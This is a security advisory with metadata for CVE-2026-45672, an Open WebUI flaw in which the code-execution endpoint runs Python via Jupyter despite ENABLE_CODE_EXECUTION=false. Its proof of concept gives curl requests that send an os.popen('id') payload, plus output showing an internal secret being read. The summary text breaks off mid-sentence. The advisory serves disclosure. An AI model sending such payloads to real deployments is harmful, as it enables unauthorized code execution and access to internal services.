highCVSS 8.8Vulnerability

CVE-2026-45672

### Summary The `/api/v1/utils/code/execute` endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set `ENABLE_CODE_EXECUTION=false`. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. ### Details The admin configuration correctly shows `ENABLE_CODE_EXECUTION: false`. However, the code execution endpoint does not check this flag before forwarding Python code to the Jupyter server. Any authenticated user can execute arbitrary code in the Jupyter container. ### PoC **Verified against Open WebUI v0.8.11 (latest) Docker on 2026-03-25.** **Setup:** Jupyter server connected, `ENABLE_CODE_EXECUTION=false` confirmed in admin config. ```bash # Step 1: Verify code execution is disabled curl -s http://target:8080/api/v1/configs/code_execution \ -H "Authorization: Bearer $TOKEN" # Returns: {"ENABLE_CODE_EXECUTION": false, ...} # Step 2: Execute code anyway — gate bypassed curl -s -X POST http://target:8080/api/v1/utils/code/execute \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"code":"import os; print(os.popen(\"id\").read())"}' ``` **Verified output:** ``` Config: {"ENABLE_CODE_EXECUTION":false,"CODE_EXECUTION_ENGINE":"jupyter",...} execute_status=200 execute_body={"stdout":"OPEN-WEBUI-SSRF-SECRET","stderr":"","result":""} ``` The PoC read the internal secret service content via Jupyter — despite `ENABLE_CODE_EXECUTION=false`. The Jupyter container has network access to internal services, making this both a code execution bypass and an SSRF vector. ### Impact Any authenticated user can execute arbitrary Python code in the Jupyter container, even when the admin has explicitly disabled code execution: - Arbitrary code execution in the Jupyter container (read files, spawn processes) - Network access to all internal Docker services from the Jupyter container - Data exfiltration from internal services - The admin's sec

Properties

summary
Open WebUI: Jupyter code execution works despite `ENABLE_CODE_EXECUTION=false` — feature gate bypassed
severity
high
epss_score
0.00406
cvss_score
8.8
ghsa_published
2026-05-14T20:28:40Z
source_url
https://github.com/advisories/GHSA-482j-2pq6-q5w4
ghsa_updated
2026-05-15T23:55:55Z
ghsa_id
GHSA-482j-2pq6-q5w4
cve_id
CVE-2026-45672
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
is_ghsa_only
false
epss_percentile
0.33565

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ENRICHED_BY (1)

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HAS_WEAKNESS (1)

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REPORTED_BY (1)

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VULNERABLE_TO (1)

[Software]pip/open-webui

AFFECTS (1)

[Software]pip/open-webui

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